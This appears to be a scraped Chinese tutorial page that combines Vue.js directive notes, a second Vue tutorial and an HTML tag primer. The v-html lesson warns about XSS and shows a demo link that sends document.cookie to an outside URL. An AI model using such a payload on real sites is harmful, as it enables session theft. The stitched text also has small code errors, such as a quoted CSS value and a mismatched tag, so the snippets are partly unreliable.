整合營銷服務商
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
電腦端+手機端+微信端=數據同步管理
免費咨詢熱線：
v-bind : 單向綁定解析表達式, 可簡寫為 :xxx
v-model : 雙向數據綁定
v-for : 遍歷數組/對象/字符串
v-on : 綁定事件監聽, 可簡寫為@
v-if : 條件渲染（動態控制節點是否存存在）
v-else : 條件渲染（動態控制節點是否存存在）
v-show : 條件渲染 (動態控制節點是否展示)
1.作用：向其所在的節點中渲染文本內容。
2.與插值語法的區別：v-text會替換掉節點中的內容，{{xx}}則不會。
<!-- 準備好一個容器-->
<div id="root">
<div>你好，{{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊！</h3>'
}
})
</script>1.作用：向指定節點中渲染包含html結構的內容。
2.與插值語法的區別：
(1).v-html會替換掉節點中所有的內容，{{xx}}則不會。
(2).v-html可以識別html結構。
3.嚴重注意：v-html有安全性問題！！！！
(1).在網站上動態渲染任意HTML是非常危險的，容易導致XSS攻擊。
(2).一定要在可信的內容上使用v-html，永不要用在用戶提交的內容上！
<!-- 準備好一個容器-->
<div id="root">
<div>你好，{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊！</h3>',
str2:'<a href=javascript：location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的資源了，快來！</a>',
}
})
</script>v-cloak指令（沒有值）：
1.本質是一個特殊屬性，Vue實例創建完畢并接管容器后，會刪掉v-cloak屬性。
2.使用css配合v-cloak可以解決網速慢時頁面展示出{{xxx}}的問題。
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{
display:none;
}
</style>
<!-- 引入Vue -->
</head>
<body>
<!--
v-cloak指令（沒有值）：
1.本質是一個特殊屬性，Vue實例創建完畢并接管容器后，會刪掉v-cloak屬性。
2.使用css配合v-cloak可以解決網速慢時頁面展示出{{xxx}}的問題。
-->
<!-- 準備好一個容器-->
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>1.v-once所在節點在初次動態渲染后，就視為靜態內容了。
2.以后數據的改變不會引起v-once所在結構的更新，可以用于優化性能。
<div id="root">
<h2 v-once>初始化的n值是:{{n}}</h2>
<h2>當前的n值是:{{n}}</h2>
<button @click="n++">點我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>1.跳過其所在節點的編譯過程。
2.可利用它跳過：沒有使用指令語法、沒有使用插值語法的節點，會加快編譯。
<!-- 準備好一個容器-->
<div id="root">
<h2 v-pre>Vue其實很簡單</h2>
<h2 >當前的n值是:{{n}}</h2>
<button @click="n++">點我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。
new Vue({
el:'#root',
data:{
n:1
}
})
</script>代碼摘錄于尚硅谷Vue學習課件
Vue.js 的核心是一個允許采用簡潔的模板語法來聲明式地將數據渲染進 DOM 的系統：
<div id="app">
{{ msg }}
</div>
//實例化代碼
var app = new Vue({
el: '#app',
data: {
msg: '歡迎學習Vue'
}
}){{ msg }} 為什么會變成 msg 的值？vue 使用基本 html 的模板語法，允許開發者聲明式地將DOM 綁定至底層 vue 實例的數據，所有 vue 模板都是合法的 html，所以能被遵循規范的瀏覽器和 html 解析器解析。
2.1、mustache語法
mustache 翻譯為中文，是胡子/胡須。由于 {{ msg }} 兩邊都有對稱的大括號，就像人的胡須一樣，所以就叫做 mustache 語法。
特點：不僅可以直接寫成變量，也可以添加簡單的表達式。
//寫法多樣，使用便捷
<h2> {{ msg }} <h2>
<h2> {{ fir+' '+sed }} <h2>
<h2> {{ fir }} {{sed}} <h2>
<h2> {{ number + 1 }} <h2>
<h2> {{ message.split('').reverse().join('') }} <h2> 2.2、v-once
上邊的數據綁定中，頁面展示 msg 的值，如果我們在瀏覽器調試中，修改 msg 的值，頁面立馬會更新，始終保持最新的值為頁面內容。
調試模式，輸入如下內容觀察：
app.msg="你不愛我了" //回車vue 支持動態渲染文本，在修改屬性的同時，實時渲染文本。為了提高渲染效率，只需第一次渲染出文本之后，后期屬性再修改不會影響文本內容。
此時就需要使用 v-once 解決問題。
//使用語法
<span v-once>{{msg}}</span>特點：該指令后面不需要任何表達式，表示元素或組件只渲染一次，不會隨數據的改變而改變文本。
2.3、v-html
在某些特殊情況下，頁面需要動態地插入一段 html 代碼，比如編輯器，動態傳入的就是一段html 代碼，使用時我們需要原樣輸出，如：
<div>{{url}}</div>
data(){
return{
url:'<a href="http://www.baidu.com">百度首頁</a>'
}
}直接這么寫并不能滿足我們的要求，我們需要展示成帶有超鏈接的百度首頁，此時 v-html 登場。
// v-html 使用語法
<div v-html="url"></div>給元素添加 v-html 指令后，元素就展示成一個帶有超鏈接的百度首頁文字。
v-html 特點：可以解析字段內的標簽，把內容當作 html 標簽來處理。
2.4、v-text
// 使用語法
<span v-text="msg"></span>特點：與 mustache 語法類似，用于展示文本的。使用沒有 mustache 靈活，所以使用較少。
注意點：<span v-text="msg">新內容</text> 標簽中又新增內容時，會把原來 msg 中的內容覆蓋掉。
2.5、v-pre
v-pre 與 html 中的 pre 標簽有些類似，html 中的 pre 會原樣輸入空格、換行、縮進和文本內容。v-pre 也是原樣輸出內容，不會解析。
// 使用語法
<div v-pre> {{ msg }} </div>
頁面直接輸出 {{ msg }}2.6、v-cloak
cloak 翻譯成中文，是斗篷。那么 v-cloak是用來干什么的呢？
html頁面運行的時候，會閃現 {{ msg }} ，如圖：
v-locak 就是用來解決這個問題的。
// 使用語法
<div v-cloak> {{ msg }} </div>特點：在 vue 解析之前，元素有 v-cloak 屬性，vue 解析之后，元素沒有 v-cloak 屬性。
利用 v-cloak 的特點，我們在 css 中添加
[v-cloak]{
display:'none'
}此時再運行網頁的時候，解析之前會被隱藏掉，解析之后才展示內容，就不會再閃現 {{msg}}。
TML標簽：
所有內容都在<html></html>標簽之內；
<head></head>內放的是頭部信息，是對頁面的描述，不會直接顯示在頁面中。
<head></head>內的<title></title>中設置的是頁面的標題，<title></title>只能放在<head></head>中；
<body></body>是頁面的主體，大部分顯示內容都定義在這里。
HTML注釋：<!-- -->：
注釋不允許嵌套
html常用標簽:
h標簽（標題），HTML定義了<h1></h1>到<h6></h6>六個h標簽，分別表示不同大小的字體。h1最大，h6最小。
<br/>只是回車，<p>是段落。<p>前后會有比較大的空白，而<br/>則沒有。
<center>居中顯示.
<b>、<strong>粗體，<i>、<em>斜體。<u>下劃線。
<sub>2</sub>下標，如：H<sub>2</sub>O
<sup>2</sup>上標，如：10<sup>2</sup>
<font></font>字體標簽，<font color=“red“ size=“7” face=“隸書”>紅色</font>。color（設置顏色） size（1-7） face（設置字體,設置字體是注意用戶計算機中必須有該字體才能正常顯示）
<hr> color size（厚度） width（長度） align=left/center/right （默認為劇中顯示）
<pre> 預格式化 保持本色;
HTML特殊字符：<（小于號，less than）；>（大于號，greater than）； （空格）。
超鏈接：<a>標簽的一些常用屬性：href、title、target、name
插入圖片：<img src=“路徑”/>
列表：dl→(定義列表)，ul→(無序列表)， ol→(有序列表)。
表格：<table>；創建行：<tr>；創建單元格：<td>；表頁眉：<thead>；表主體：<tbody>；表頁腳：<tfoot>；表頭：<th>。
rowspan(合并行)、colspan（合并列）
<input>是主要的表單元素，type的可選值：submit（提交按鈕）、button（普通按鈕）、checkbox表單標簽：（復選框）、file（文件選擇框）、hidden（隱藏字段）、image（圖片按鈕）、password（密碼框）、radio（單選按鈕）、reset（重置按鈕）、text（文本框）。
meta標簽：（包括在head標簽中。主要用來描述頁面自身信息,元信息）
<meta name="keywords" content="C#學習資料,4k8k.net,.net開發,軟件開發,編程自學網"/>
<meta name="description" content="免費更新最新C#相關技術知識，主要包括：.net基礎,網頁前端,三層架構,SQL數據庫..."/>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />網頁編碼
<meta http-equiv="Refresh" content="3" />三秒鐘后刷新此網頁。
<meta http-equiv="Refresh" content="3;url=http://www.4k8k.net" />三秒鐘后重定向到新網頁。
<meta http-equiv="Cache-Control" content="no-cache" /> 禁止瀏覽器緩存頁面。
<meta name="名字" content="值" />關于網頁的描述信息。
<meta http-equiv="名字" content="值" />模擬http響應頭信息。
C#編程自學_做最好的.net自學資料站_更多文章請訪問：http://www.4k8k.net/
歡迎訂閱。
*請認真填寫需求信息，我們會在24小時內與您取得聯系。
